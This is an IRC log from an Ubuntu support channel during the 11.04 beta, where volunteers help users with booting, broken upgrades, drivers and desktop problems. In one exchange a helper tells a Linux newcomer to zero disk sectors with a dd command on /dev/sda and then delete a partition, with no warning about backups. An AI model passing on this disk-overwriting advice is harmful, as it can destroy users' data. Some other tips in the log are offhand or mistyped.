[00:01] <Hybridtheoryb4> what do you mean im using windows right now
[00:02] <genec> Hybridtheoryb4: you answered my question
[00:02] <Hybridtheoryb4> are you saying add a irc client while booted in the live demo of ubuntu disc
[00:02] <hardcold> what is an equivalent to click-to-flash for OSX?
[00:02] <hardcold> I've tried various plugins but haven't had any luck
[00:02] <genec> Hybridtheoryb4: it's possible.  I've installed packages to the running live CD
[00:02] <bullgard4> Hybridtheoryb4: Do you have 2 computers at your disposal? 1 for setting up Ubuntu and 1 for IRC conversation?
[00:03] <Hybridtheoryb4> yes i do
[00:03] <Hybridtheoryb4> which is what i just thought about doing
[00:03] <hardcold> click-to-flash blocks all flash, allowing you to enable it by clicking on the flash element and also replaces media with h264 if available
[00:03] <genec> bullgard4: good one
[00:04] <genec> hardcold: FireFox addin FlashBlock will do the Adobe Flash bit
[00:04] <bullgard4> Hybridtheoryb4: Then please use 1 computer for IRC conversation and put a live Ubuntu CD into the 2nd computer and start it.
[00:05] <Hybridtheoryb4> ok well ill be using the 11.04 install disc to boot
[00:06] <Hybridtheoryb4> give me a few minutes i have to take care of something real quick
[00:06] <bullgard4> Hybridtheoryb4: Yes. Go ahead.
[00:08] <Hybridtheoryb4> so i should take and delete the partition i made for linux and put it back into my windows partition
[00:08] <bin_bash> Hello all. I was able to get the .iso to a .img and then load it onto a USB, but I can't boot from the USB. I'm not sure what to do
[00:09] <bullgard4> Hybridtheoryb4: No.
[00:09] <step21> bin_bash: is this still on a mac?
[00:09] <bin_bash> step21:  yes. I followed the instructions on the ubuntu site for creating a bootable USB but it didn't work.
[00:11] <Hybridtheoryb4> so leave my partition that i had made in windows even though its ntfs file system
[00:11] <knightautwell> hey is there a way to record songs form the last.fm app?
[00:11] <step21> bin_bash: can't you boot from a cd/dvd? like I said before because of the apple firmware and its problems it's a gamble at best if usb booting for anything apart from os x works
[00:11] <hardcold> genec, I have flashblock, and Flash Video Replacer (FVR) but it doesn't load the replacement. Do I need to download a mp4 codec/plugin?
[00:11] <bin_bash> step21:  Nope. I can't boot from a CD
[00:11] <step21> bin_bash: macbook air?
[00:11] <bullgard4> Hybridtheoryb4: For the next short time, yes. --  Please start your Ubuntu Live CD now.
[00:12] <bin_bash> No, MBP 8,1 when trying to do it from a CD I get the error: "Unable to find medium containing live file system"
[00:12] <genec> hardcold: never heard of FVR or click-to-flash so not sure what else to suggest.
[00:12] <knightautwell> anyone know?
[00:12] <hardcold> genec, okay, thanks
[00:12] <knightautwell> hey trism you know?
[00:12] <step21> bin_bash: did you check the cd for errors?
[00:13] <bin_bash> step21:  yes.
[00:13] <bin_bash> step21: I've burned THREE separate CDs and I've checked the MD5 hash.
[00:14] <genec> Hybridtheoryb4: bu llgard4 is right.  leave it as-is and let's just see what the Live CD shows, just for consistency
[00:14] <step21> bin_bash: mmh. I still think trying with a diff. cd/dvd has a better chance of success than succeeding with usb ... does any cd boot?
[00:14] <step21> (fe windows)
[00:14] <bin_bash> step21:  Not ArchBang and not Puppy
[00:15] <step21> bin_bash: weird.
[00:15] <genec> bin_bash: have you tried the verifier from the boot menu?  (did I suggest that last night to you or someone else?)
[00:16] <bin_bash> With ArchBang and Puppy I get /bin/sh: can't access tty: job control turned off
[00:16] <bin_bash> genec:  yep did that
[00:16] <step21> bin_bash: but it boots somewhat?
[00:16] <step21> maybe wrong arch?
[00:16] <bin_bash> step21:  it gets to the splashscreen and then can't load the livecd
[00:17] <bin_bash> There's NO way it's a coinicidence that it happens with THREE different distros
[00:17] <genec> or perhaps somehow Linux can't see the CD drive
[00:17] <bin_bash> That's the problem
[00:17] <genec> which seems completely mucked up but those symptoms lend to the theory
[00:18] <step21> try if you can alt-FX or ctrl-alt-FX to another tty to get another error message
[00:18] <bin_bash> can't use function keys. they don't work.
[00:18] <step21> mmh
[00:18] <genec> oh fuh.  that stinks since they're critical
[00:19] <genec> bin_bash: still have a spare CD-R?  or could you point me to the USB conversion howto you found?
[00:19]  * genec has an idea for a distro or two to try
[00:19] <bin_bash> genec:  http://www.ubuntu.com/desktop/get-ubuntu/download
[00:19] <step21> on the ubuntu hardware pages, does it say something about special drivers/boot command?
[00:20] <bin_bash> I'm running out of CD-Rs
[00:20] <step21> like a special option for grub
[00:20] <genec> bin_bash: USB, Ubuntu?
[00:20] <bin_bash> USB, Mac
[00:22] <genec> bin_bash: https://help.ubuntu.com/community/MacBookPro looks good.  8.1 for Natty... now to read
[00:22] <bin_bash> genec:  already been over it
[00:22] <genec> crud
[00:22] <step21> genec: it says it should work ootb.
[00:23] <Hybridtheoryb4> ok give me a second to finish the install of pidgin on my other computer so i can talk
[00:23] <step21> I know that it's possible to replace superdrives ... but I guess it's still the original?
[00:23] <KM0201> o/ everyone
[00:23] <bin_bash> Yes. I just got this computer 2 weeks ago
[00:23] <KM0201> bin_bash, ok, how did you move the IMG onto the uSB?
[00:24] <bin_bash> i followed the instructions exactly
[00:24] <KM0201> bin_bash, is it an intel mac?
[00:24] <KM0201> i assume it is, since you said its new
[00:24] <bin_bash> KM0201:  yeah intel i5
[00:25] <KM0201> hmm
[00:25] <KM0201> i have kind of a wicked idea.
[00:25] <KM0201> however, given possible illegalities, we won't be able to discuss it here.
[00:25] <step21> bin_bash: anyway ... going now, but good luck
[00:25] <Hybridtheoryb4> ok starting disk now
[00:28] <genec> KM0201: experienced with the Mactels and Linux, iirc?
[00:28] <hybridtheoryb41> ok starting up live demo disk you want me to type in the terminal fdisk -I right
[00:28] <KM0201> no, i'm not... not at all actually
[00:28] <hybridtheoryb41> not capital i though
[00:28] <genec> hybridtheoryb41: not I L, lowercase L
[00:28] <hybridtheoryb41> o
[00:28] <genec> -l is for list
[00:29] <hybridtheoryb41> i know i didn't know why you wanted I
[00:29] <hybridtheoryb41> i actually know some console code because i had to learn it for a+ certification
[00:29] <genec> oh, sorry.  wasn't sure if you were familiar.  must have been a font issue
[00:30] <genec> I just capitalized in hopes of clarity
[00:30] <hybridtheoryb41> no big its still loading up right now
[00:33] <hardcold> bin_bash
[00:33] <hardcold> you there?
[00:34] <hardcold> bin_bash, I'm going over the MBP 8,1 thread, and a person here with your issue used the CD and the USB stick. The install switched to the USB stick and worked. So try with both.
[00:35] <bin_bash> ooh ok
[00:36] <genec> bin_bash: since the boot from the USB worked, I can also point you to a mini/rescue that could help diagnose it if hardcold's idea doesn't pan out
[00:36] <bin_bash> ok. brb.
[00:37] <hybridtheoryb41> i got the spinning wheel right now just clicked on try ubuntu so i can run the code
[00:43] <rooks> that mail icon that sits in notification area, what is its name, and how to tamper with it from commandline? like how to register my client to use it?
[00:43] <hybridtheoryb41> fdisk -l displays nothing genec
[00:43] <knightautwell> anyone know how to record what ever is playing on the last.fm app?
[00:44] <genec> hybridtheoryb41: as root?  ie, 'sudo fdisk -l'?
[00:44] <rooks> knightautwell, record from what you hear source comes to mind, tho im not sure if its available with pulse. probably is, but might require tampering
[00:44] <genec> hybridtheoryb41: sorry about that
[00:44] <knightautwell> idk lol i was just wandering
[00:45] <hybridtheoryb41> ok didn't think about that ok
[00:45] <hybridtheoryb41> ok what now
[00:46] <genec> could you pastebin the results?
[00:47] <hybridtheoryb41> ok how exactly should i do it
[00:47] <hybridtheoryb41> just print screen
[00:48] <hybridtheoryb41> then paste on pastebin
[00:49] <genec> you could copy the text (highlight) and paste into pastebin (center click)
[00:50] <genec> or select, right click, copy, right clikc paste
[00:50] <hybridtheoryb41> ok i didn't know i could copy in terminal
[00:51] <hybridtheoryb41> ok http://pastebin.com/4TBB33Kh
[00:53] <hybridtheoryb41> did you get it genec
[00:53] <ckwalsh> Is unity now the default interface for Desktop too?
[00:53] <genec> looking
[00:53] <hybridtheoryb41> ok
[00:54] <genec> oh boy.  that deadly thing
[00:55] <hybridtheoryb41> what
[00:55] <genec> hybridtheoryb41: did you knowingly configure a hybrid MBR/GPT?
[00:55] <hybridtheoryb41> no
[00:55] <hybridtheoryb41> it must because i had mac installed at one point on my laptop
[00:56] <genec> hybridtheoryb41: maybe something confused fdisk....  'sudo gdisk -l'
[00:57] <genec> hybridtheoryb41: oh, yeah, GPT is a requirement of EFI.  that could explain the mass confusion.  BIOS load Windows ignores GPT and Linux will try GPT and the two probably are not aligned.
[00:57] <hybridtheoryb41> i think i locked up my computer i can move my mouse but not read any clicks
[00:58] <genec> hybridtheoryb41: brb hopefully.  you may need to do 'sudo dd bs=512 skip=1 count=62 if=/dev/zero of=/dev/sda' but not yet.
[00:59] <hybridtheoryb41> ok
[00:59] <rww> ckwalsh: yes
[00:59] <hardcold> bin_hash hasn't come back. It worked then?
[00:59] <ckwalsh> Hrm... Not a fan to be honest
[00:59] <hybridtheoryb41> no luck still with it becoming unlocked should i restart it
[00:59] <ckwalsh> The normal desktop interface is still available though, right?
[00:59] <hardcold> er, bin_bash
[01:00] <mithridates> I was upgrading from 10.10 to 11.04 that in the last stage I got hdd failure, I did "dpkg --configure -a" now when I boot it nothing happens, a black screen
[01:00] <mithridates> how can I fix that?
[01:01] <mithridates> I got kernel panic during first boot, then after dpkg... it's just black
[01:01] <mithridates> nothing happens
[01:01] <mithridates> I booted my machine with the previous ubuntu which is 10.10 and now I don't know how to fix that mess
[01:01] <mithridates> any idea?
[01:03] <KM0201> mithridates, sounds like you're gonna be reinstalling.
[01:04] <mithridates> KM0201: I tried update-manager -d again but it doesn't show that I can upgrade it again (I'm in previous version 10.10 and 11.04 is installed(but doesn't work))
[01:05] <KM0201> mithridates, i dunno man.. broken upgrades are always a nightmare
[01:05] <hybridtheoryb41> can you uninstall it
[01:05] <mithridates> how can I reinstall it from downloaded packages? btw when I go to system>about ubuntu -> I see version is ubuntu natty
[01:05] <KM0201> how do you uninstall an operating system?
[01:05] <mithridates> I guess I'm fucked
[01:05] <hybridtheoryb41> i didn't know if you could uninstall the update
[01:05] <hybridtheoryb41> since he booted into the old
[01:06] <torchie> hmm
[01:06] <KM0201> oh i doubt it highly.
[01:06] <KM0201> or.. let me rephrase
[01:06] <KM0201> i've never heard of that happening
[01:06] <hybridtheoryb41> me too i just thought id throw it out
[01:06] <KM0201> a broken upgrade, is about the most difficult thing to recover from.
[01:06] <torchie> I think we may need a change to empathy for when it stays open on an IRC channel for days straight
[01:06] <rww> I think people need to stop thinking Empathy is a usable IRC client :<
[01:06] <KM0201> honestly, that goes for any OS... if you're upgrading from XP to Vista, and something goes wrong and i breaks.. the chances of recovery are very very slim...
[01:06] <mithridates> KM0201: but all packages are installed !!
[01:07]  * KM0201 could kiss rww for saying that.
[01:07] <lcb> mithridates, do you get any console prompt?
[01:07] <mithridates> how can I just repair it?
[01:07] <mithridates> lcb: yes
[01:07] <KM0201> busybox?
[01:07] <mithridates> lcb: in recovery mode I can get it
[01:07] <lcb> mikebeecham, u did already sudo dpkg –configure -a , isn't?
[01:08] <KM0201> Empathy isn't even a very good instant messaging client, let alone a good IRC client.
[01:08] <mithridates> lcb: yes I did
[01:08] <lcb> mithridates, try sudo apt-get upgrade –fix-broken
[01:08] <mithridates> lcb: and I don't get a kernel panic anymore, but I don't go anywhere but a blank
[01:08] <hybridtheoryb41> genec you back
[01:08] <lcb> try that one first
[01:09] <mithridates> lcb: anything else? because I should restart it, by the way I don't have internet in that console
[01:09] <rww> lcb: something appears to be replacing -- with – in your messages. that'll probably cause an issue at some point :<
[01:09] <lcb> hm
[01:09] <hybridtheoryb41> and i know KM0201 that the chance of rcovey when updating from like xp to vista is very slim it just didn't know how it was with linux im new to it
[01:09] <lcb> can you past it rww ?
[01:10] <mithridates> I'm going to reboot it, tnx lcb
[01:10] <chotaz> I get this in 'demsg' when I plugin my webcam: 'endpoint lacks sample rate attribute bit, cannot set.' what mgiht this be?
[01:10] <KM0201> hybridtheoryb41, yah.. i'm not saying it'll be impossible, but.. who knows.. anything can happen... remember in dumb and dumber when eh was asking the girl on a date and she said his chances were more like '1 in a million' and he got all excited and said, "but you're saying there's a chance!"
[01:10] <lcb> mithridates, wait
[01:10] <mithridates> ok
[01:10] <lcb> mithridates, did you get anything after that command?
[01:11] <KM0201> hybridtheoryb41, thats how i feel about fixing broken upgrades.. :)
[01:11] <mithridates> lcb: now? nothing
[01:11] <hybridtheoryb41> yah i love that part but it makes sense that it would be that slim
[01:11] <mithridates> lcb: 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[01:11] <jiohdi> you might try sudo apt-get install -f
[01:11] <jiohdi> sometimes that fixes broken stuff
[01:11] <mithridates> I've booted from the previous version 10.10
[01:11] <jiohdi> in terminal
[01:11] <KM0201> hybridtheoryb41, yeah.. you can try to start forcing stuff to install, etc.. but i'm guessing after all that, he's gonna end up w/ an unstable system...
[01:11] <lcb> mithridates, don't just reboot.. wait a bit. be pacient or you might lose everything
[01:11] <mithridates> jiohdi: nothing
[01:11] <hybridtheoryb41> yah
[01:12] <mithridates> lcb: why should I lose, nothing is in progress, everything is stable
[01:12] <lcb> stable??
[01:12] <mithridates> lcb: I can boot via previous version again
[01:12] <_|pegasus|_> Does anyone have an idea why this aboutme-icon doesn't change no more: http://goo.gl/MzStn - It should show the available-state...
[01:12] <mithridates> lcb: yes because I've booted with the previous version it was in grub options
[01:12] <lcb> ahh, ok. fix filesystem then
[01:12] <jiohdi> if you dont have any data to protect, reinstall is usually better than trying to fix things
[01:13] <mithridates> lcb: how can I do that?
[01:13] <lcb> mithridates, the other option is botting from live cd
[01:13] <mithridates> lcb: no!
[01:13] <chotaz> No one has any tips on my webcam problem?
[01:13] <mithridates> lcb: there is not such an option
[01:13] <mithridates> jiohdi: well I can't because I don't have the CD, I did update-manager -d
[01:14] <mithridates> lcb: how can I fix the file system? is it related to my problem?
[01:14] <jiohdi> since older is working you can still create a cde
[01:14] <jiohdi> cd
[01:14] <lcb> mithridates, ' sudo touch /forcefsck 1
[01:14] <lcb> mithridates, ' sudo touch /forcefsck '
[01:14] <hybridtheoryb41> hey KM0201 it looks like i have my a hybrid mbr/gpt table do you know how to fix it so ubuntu will recognize my windows partition
[01:14] <mithridates> lcb: what does that do?
[01:14] <hybridtheoryb41> without wiping my drive
[01:14] <KM0201> hybridtheoryb41, i have no idea on that one.
[01:14] <hybridtheoryb41> preferablu
[01:14] <mithridates> lcb: I'm afraid I lose what I have
[01:14] <KM0201> never even heard of it.
[01:14] <hybridtheoryb41> ah
[01:15] <lcb> "<mithridates> I was upgrading from 10.10 to 11.04 that in the last stage I got hdd failure, I did "dpkg --configure -a" now when I boot it nothing happens, a black screen"
[01:16] <mithridates> I gochya, it check my filesystem in next reboot
[01:16] <mithridates> thanks man
[01:16] <mithridates> I'll try it
[01:18] <lcb> rww, i missed -- ' sudo apt-get upgrade --fix-broken ' the -- .. gotchya
[01:19] <chotaz> I get this in 'demsg' when I plugin my webcam: 'endpoint lacks sample rate attribute bit, cannot set.' what mgiht this be?
[01:21] <hybridtheoryb41> anyone know anything about hybrid mbr/gpt table
[01:21] <_|pegasus|_> lcb?
[01:22] <lcb> alive & well, Inc
[01:22] <lcb> :p
[01:22] <_|pegasus|_> hehehe
[01:23] <_|pegasus|_> lcb: The aboutme-icon - shouldn't it show the Online-State of empathy too?
[01:25] <lcb> _|pegasus|_,  i don't know.... i don't use it. check empathy settings and see if there is an online for panel
[01:26] <_|pegasus|_> lcb: It shows me an icon that's confusing me - a grey circle.
[01:26] <lcb> mithridates, no smoke from the computer?
[01:26] <mithridates> lcb: I did it, and now I'm in the new ubuntu, but there is a problem with gnome
[01:26] <mithridates> lcb: I can't do anything in gnome, how can I reinstall it and replace it with gnome 3
[01:26] <KM0201> ..
[01:26] <mithridates> ?
[01:26] <lcb> _|pegasus|_,  i don't know buddy, sorry
[01:26] <mithridates> what was the ppa source
[01:27] <mithridates> something is wrong with gnome
[01:27] <lcb> mithridates, wait for gnome3 to be integrated...
[01:27] <mithridates> lcb: so how can I reinstall this gnome
[01:28] <lcb> mithridates, you shouldn't install/upgrade anything that is already installed in natty, at this point
[01:28] <mithridates> lcb: but I can't use graphical mode!!!!!!!!
[01:28] <mithridates> it's frozen
[01:28] <lcb> ok...
[01:28] <lcb> do the failsafeX on the grub menu
[01:29] <mithridates> and then?
[01:30] <mithridates> I will ask myself 10*10^23 why I did that
[01:30] <lcb> mithridates, this will take me a bit to write, so wait, don't just run away
[01:31] <mithridates> any idea please, I don't have access to browser for searching
[01:31] <lcb> while rebooting, after BIOS messages press SHIFT. you have an option to entering a recovery mode. select that one /
[01:32] <mithridates> that one / ?
[01:32] <mithridates> what's / ?
[01:32] <jiohdi> you can use a terminal browser like links
[01:32] <lcb> you'll get then a menu. select first the one DPKG, then, GRUB, then, CLEAN, then FailsafeX / (means i didn't finish)
[01:33] <mithridates> ah ok thanks
[01:33] <lcb> mithridates, when you get to the failsafeX menu select to repair X, then select Default, then CANCEL, then Restart X.
[01:34] <lcb> mithridates, you can go now :p
[01:34] <lcb> reboot again afterwards, btw
[01:34] <mithridates> I'm writing
[01:34] <mithridates> thanks
[01:34] <mithridates> I appreciate it
[01:34] <lcb> hm
[01:35] <lcb> too quick...
[01:39] <lcb> rww, i'm trying to find out where is that_ __ came fom, while writing that command. probably i touched the touchpad without intention and any combo of keys, don't know... i need to disable this touchthing. don't use it.
[01:42] <genec> hybridtheoryb41: could you paste the output of 'sudo gdisk -l'?
[01:42] <hybridtheoryb41> i tried to run it says gdisk doesn't exist
[01:42] <genec> sgdisk?
[01:43] <hybridtheoryb41> i haven't tried but i can tell you gparted says its a gpt table
[01:43] <hybridtheoryb41> no go on the sgdisk too
[01:44] <hybridtheoryb41> genec would my best bet be to wipe my drive by recreating the partition table as mbr using gparted
[01:46] <genec> hybridtheoryb41: no.  let me boot my vm on that iso
[01:46] <hybridtheoryb41> ok
[01:52] <hybridtheoryb41> any luck yet genec
[01:53] <genec> hybridtheoryb41: 'sudo dd bs=512 skip=1 count=34 if=/dev/zero of=/dev/sda' to start
[01:54] <hybridtheoryb41> ok give me a sec to type it
[01:56] <hybridtheoryb41> ok what now genecs
[01:56] <hybridtheoryb41> *genec
[01:56] <genec> there's another copy but it'd be easiest to make a partition
[01:56] <hybridtheoryb41> ?
[01:57] <genec> GPT backup
[01:57] <hybridtheoryb41> so what do i do know
[01:59] <hybridtheoryb41> genec am i supposed to make a partition
[02:01] <bluefox83> !pithos
[02:01] <genec> 'sudo fdisk /dev/sda', delete #3, new, primary, #4, from cylinder 38913
[02:01] <bluefox83> well that was useless...how does the bot not know anything about a package that's in the repo?
[02:02] <genec> bluefox83: iirc, it only knows what it's taught
[02:03] <bluefox83> i was under the impression someone has dumped all the package details into the bot...
[02:03] <bluefox83> i guess i was wrong
[02:03] <rww> !info pthos
[02:03] <rww> !info pithos
[02:04] <bluefox83> so anyways...why the heck do i keep getting an error every time pithos tries to update the list of songs it's going to play, says gstreamer encountered a general stream error...
[02:04] <bluefox83> i get three songs and then it craps out on that station and i have to chose another station
[02:05] <bluefox83> i checks all the deps, i have everything
[02:05] <bluefox83> *chekced
[02:05] <bluefox83> *checked
[02:05] <hybridtheoryb41> genec so i type sudo fdisk /dev/sda
[02:05] <bluefox83> maybe i should slow down a little
[02:05] <genec> hybridtheoryb41: yes
[02:05] <hybridtheoryb41> then do i type delete #3
[02:05] <genec> d for delete, 3
[02:06] <hybridtheoryb41> ok
[02:06] <hybridtheoryb41> genec says no partition selected
[02:07] <genec> hybridtheoryb41: paste?
[02:08] <hardcold> any recommendations for cpu frequency control?
[02:09] <kushal3> quick question guys, I am on an asus n61jv-x2 i5 M430 2.27 GHz, NVidia GT325M. I could not get unity running natively because my graphics card does not support it, apparently. It works in Natty in virtualbox inside windows 7. Any ideas? :(
[02:10] <hybridtheoryb41> genec ive type d, 3 and d 3 and d #3 and it says no partitions is yet defined
[02:12] <genec> hybridtheoryb41: 'p' then <enter>
[02:13] <hybridtheoryb41> genec ok
[02:13] <hybridtheoryb41> want me to paste
[02:14] <hybridtheoryb41> it shows no partitions
[02:14] <genec> hybridtheoryb41: yes, paste
[02:14] <hybridtheoryb41> ok one sec
[02:15] <hybridtheoryb41> genec firefox isn't opening to paste
[02:16] <hybridtheoryb41> to paste bin that is
[02:32] <hardcold> I just installed indicator-cpufreq. How do I make it startup at login, or, how do I move it to startup items?
[02:36] <KM0201> hardcold, the indicator apps should all start at login by default i do believe
[02:42] <Cas07> hi, ive just updated maverick to natty and i seem to have a package problem with libasound2 it wont upgrade without removing a large section of my applications
[02:49] <skjeggen> Hello
[02:50] <skjeggen> I'm seeking som assistance on getting 11.04 latest beta running with dual monitors
[02:53] <skjeggen> when configuring with nvidia-settings im only able to make twinview useful. when trying seperate x-screens only primary display is acepting input from keybord, and trying to manualy drag or copy a shortcut betwen desktops it just pops back to my main display.
[02:59] <coz_> what the heck is going on with natty? it freezes making any settings change,, easystroke and cairo dock dont work properly  and freeze the system,, even chaning wallpaper sometimes freezes the system and this is a clean install
[03:00] <coz_> but the same behavior as the previous install which was updated from alpha
[03:00] <softcoder> hello?
[03:00] <coz_> softcoder, hey guy
[03:00] <skjeggen> heya :)
[03:00] <softcoder> need help with natty running on Host 10.10 guest 11.04 (both 64 bit)
[03:00] <softcoder> using virtualbox
[03:00] <KM0201> softcoder, won't happen
[03:00] <softcoder> ?
[03:01] <coz_> softcoder,  I may not be able to help but ^^^
[03:01] <softcoder> why not?
[03:02] <KM0201> because virtualbox doesn't work w/ 11.04, because of the 3d desktop.. even if you enable 3d, won't happen...
[03:02] <KM0201> trust me, been tried here several times
[03:02] <softcoder> ahh ok to obad
[03:02] <rww> last time I said that, two different people said I was lying :<
[03:02] <KM0201> rww, well, i'm way more convincing than you
[03:02] <KM0201> lol
[03:02] <rww> hehe
[03:02] <softcoder> I am an author for megaglest (open source rts) and wanted to ensure good compatibility with 11.04 before release
[03:02] <skjeggen> Anyone of you been able to run seperate desktop on two or more monitors?
[03:03] <Cas07> skjeggen: sorry i only use dualview
[03:04] <softcoder> so my only hope is another whole system?
[03:04] <coz_> skjeggen,  are you using 2 separate xscreens ?
[03:04] <coz_> softcoder,  love megaglest  :)  but not sure ,, I have never tried it in virtual and apparenlty it doesnt work with unity I believe,, not sure about classic though
[03:05] <skjeggen> coz_, yes but only main monitor acapts input from keyboard.
[03:05] <softcoder> hmm... tomreyn (our QA guy did seem to think it worked)
[03:05] <softcoder> I wanted to play myself a bit to ensure maximum success since i love ubuntu
[03:06] <coz_> skjeggen,  then I am at aloss... no separate desktops withouth xinerama / separate xscreens as far as I know
[03:07] <coz_> I hate natty this week :)
[03:08] <skjeggen> coz_, wel xinerame actually fros entire desktyp, had  to delet and make a new xorg.conf file :s
[03:09] <coz_> I see
[03:15] <Cas07> think i found fix for my problem, i had a maverick ppa python2.7 installed causing version conflict!
[03:48] <IHATEMACS> freakin macs
[03:48] <IHATEMACS> lol
[03:49] <genec> IHATEMACS: which part?
[03:49] <IHATEMACS> which part what?
[03:49] <genec> hating macs, etc
[03:52] <damadprof> hi guys, I've been searching for a fix to allow automounting of my usb devices, apparently it seems to be either the ndiswrapper or two lines that need to be added to the etc/modules file, my problem is that I don't know (yet) how to open this file as admin?
[03:52] <IHATEMACS> genec, i just hate them
[03:52] <IHATEMACS> lol
[03:53]  * genec would love to get his hands on a PowerPC Mac
[03:56] <natalie_> Is there anyone who could help me with a video issue I'm having?
[03:56] <genec> just for the fact that I've dealt with Intel's CISC/LE enough that I dislike it
[04:00] <natalie_> I am having an issue with my windows lagging/stuttering when I move them. Can anyone help me with this?
[04:00] <natalie_> I've checked the forums and everything, to no avail.
[04:18] <FoolishOwl> Hi. I was trying to figure out why the repositories have a source package that's a later version than the corresponding binary package.
[04:18] <rww> FoolishOwl: which package?
[04:19] <FoolishOwl> rww: fgfs-base
[04:19] <genec> delay in build or sync in progress?
[04:20] <rww> what genec said
[04:20] <FoolishOwl> genec: That would be my guess, but I don't know the norms, so I don't know if it's a problem that needs to be reported.
[04:20] <rww> "Note: Some binary packages for this source are not yet published in the repository." ~ Launchpad
[04:20] <genec> FoolishOwl: you'll probably want to either sit and wait or you'd need to know the IP of the server you're using.
[04:21] <rww> genec: It's not finished publishing in Launchpad yet; it won't be on any of the mirrors.
[04:21] <genec> ahh, so the first; build not a sync
[04:22] <rww> It's built, it's just not published. I'm trying to figure out why.
[04:22] <rww> Might just be because it's rather large.
[04:23] <FoolishOwl> rww: where was that message you quoted from?
[04:23] <rww> oh, three days ago. Might be caught in one of the freezes.
[04:23] <rww> FoolishOwl: https://launchpad.net/ubuntu/+source/fgfs-base , click the arrow next to 2.0.0-1 under "The Natty Narwhal"
[04:23] <FoolishOwl> Yeah, Flightgear's a big application.
[04:24] <rww> FoolishOwl: I take it the source package is 2.0.0-1 and the binary is 1.9.0-1?
[04:25] <FoolishOwl> rww: right.
[04:25] <rww> FoolishOwl: I'm guessing it got caught by one of the freezes we have in preparation for release. You could ask in #ubuntu-motu if you want a more knowledgeable opinion.
[04:26] <rww> I'm not sure why the source package got published; maybe it's an oddity of the way things are done.
[04:26] <FoolishOwl> Okay, that makes sense. Thanks for checking.
[04:33] <litropy> I _think_, although I'm not sure, I set a bootscreen option (pretty sure it was plymouth) to text as opposed to graphical back when there was an issue with the graphical mode. I want to check if the option is still set. If no one can describe to me what to visually look for, I want to check whatever config file to see if it's set. If I'm set to text mode, I want to test out graphical mode and I need help in doing so.
[04:34] <rww> litropy: The usual way of switching plymouth on and off is editing /etc/default/grub and removing "quiet" or adding "text" to a line that I forget.
[04:35] <litropy> rww, scanning /etc/default/grub ...
[04:36] <rww> sorry, splash, not quiet
[04:37] <litropy> rww, see "GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"": http://pastebin.com/D4bJMVpW
[04:39] <litropy> rww, should it change to "GRUB_CMDLINE_LINUX_DEFAULT="splash""?
[04:40] <rww> litropy: no, I misspoke. That should work fine :|
[04:40] <rww> having "splash" there means plymouth is turned on as far as that file goes...
[04:40] <rww> did you perhaps edit /boot/grub/grub.cfg?
[04:51] <litropy> rww, I highly doubt it. I might be seeing what I should see. On a related note, I heard grub's image selection interface (where you can choose other partitions and images) has a graphical mode. Is it stable yet?
[04:52] <rww> litropy: No idea, I haven't been keeping track of it.
[04:52]  * rww doesn't generally dualboot, so...
[04:52] <litropy> rww, thanks for your help.
[04:53] <mithridates> I got a problem in natty, I wanna install gnome but I get this error:
[04:53] <mithridates> gnome : Depends: gnome-desktop-environment (= 1:2.30+7ubuntu3) but it is not going to be installed
[04:54] <mithridates> how can I solve it, it's driving me crazy
[04:54] <mithridates> I can't login into ubuntu desktop neither, I have to login into ubuntu classic desktop
[04:57] <KM0201> mithridates, if you're logging into ubuntu classic, that is gnome
[04:57] <mithridates> KM0201: yes but gnome package is not installed, graphic is weird
[04:58] <mithridates> KM0201: how can I solve a dependency issue?
[05:03] <litropy> For those interested: "The graphical menu is now available in GRUB's experimental branch." http://grub.gibibit.com/Journal
[05:05] <mithridates> Dr. Adventurelove or: How I Learned to Stop Worrying and Love the alpha releases
[05:06] <litropy> I'll wait for that. For now, I just did $ sudo apt-get install startupmanager and "Show boot splash" was un-checked. Checked it, and will be back after a reboot. Short description of startupmanager here: http://mygeekopinions.blogspot.com/2011/03/install-grub-customizer-gui-for-ubuntu.html
[05:11] <litropy> meh, no noticeable difference.
[05:19] <roothorick> Okay, so where do I get a static libz?
[05:20] <roothorick> or do I have to make my own?
[05:25] <knightautwell> is is there a way to change the whole ubuntu os to jap?
[05:27] <trism> knightautwell: install the japanese language support in System Settings/Language Support, and then select 日本語 as the language on the login screen
[05:27] <knightautwell> ok lol so then even menus will be in japanese?
[05:28] <trism> knightautwell: yes
[05:28] <knightautwell> ok lol i know when i use my win 7 os i have to upgrade to ultimate to be able to do that and even then not everything is in that language
[05:29] <knightautwell> trism: i have a question
[05:29] <trism> knightautwell: yes?
[05:30] <knightautwell> why when i updated my graphics card my graphics got worse? like now when i run some games or something my screen flickers or something
[05:30] <knightautwell> like quadrapassel
[05:32] <trism> knightautwell: I don't know, I suppose it would depend on the card
[05:33] <knightautwell> mines an ati i activated the restricted driver the update via the synaptic manager then it went weird. it worked fine before i updated them well not fine but manageable but afte i updated it it started acting like this
[05:34] <roothorick> what GPU?
[05:34] <kazagistar> right now, I use gconf to replace Gnome Panel with Awn as soon as I install an ubuntu system. How would doing something like this work with Unity?
[05:35] <roothorick> and, single or Crossfire?
[05:35] <rww> I maintain that ATI's restricted driver was dragged from the depths of hell by misguided PC gamers who should have known better.
[05:36] <roothorick> kazagistar: unless you a) are using multiple GPUs in Crossfire or b) have a game or program that you confirmed does not work with the normal radeon driver, you shouldn't be using fglrx.
[05:36] <kazagistar> roothorick: I assume you meant to respond to knightautwell?
[05:37] <roothorick> yeah
[05:37] <roothorick> oops
[05:37] <roothorick> knightautwell: ^^
[05:37] <kazagistar> no problem, i'll just install virtualbox like everyone else I guess :P
[05:37] <knightautwell> hi sorry was busy browsing the net now what lol
[05:38] <knightautwell> it just annoys me that when i update it it gets worse lol
[05:39] <rww> fglrx is more of a downgrade, despite what the "Additional Drivers" tool says.
[05:39] <rww> which is one amongst many of the reasons I wish it didn't pop up like it does.
[05:39] <knightautwell> so what would i need to do? i mean before i updated it halo in wine worked well the color was off a bit but now it doesnt work at all
[05:43] <knightautwell> ??
[05:46] <unityproblem> unity is not loading on my pc on natty 11.04 can you help??
[05:46] <unityproblem> ??
[05:47] <unityproblem> anyone here to help?
[05:47] <mns`> which graphic video card?
[05:47] <unityproblem> intel internal..
[05:47] <hardcold> google issues with your graphics card
[05:48] <mns`> what's happen?
[05:48] <hardcold> most likely that is the problem
[05:48] <unityproblem> and i cant move windows ..
[05:49] <unityproblem> they stay in a fixed place..
[05:49] <mns`> did you update your system?
[05:50] <unityproblem> yes..
[05:50] <unityproblem> its beta 1..
[05:50] <mns`> how did you installed natty? upgrade or from a cd?
[05:50] <mns`> well, it's on beta2 now
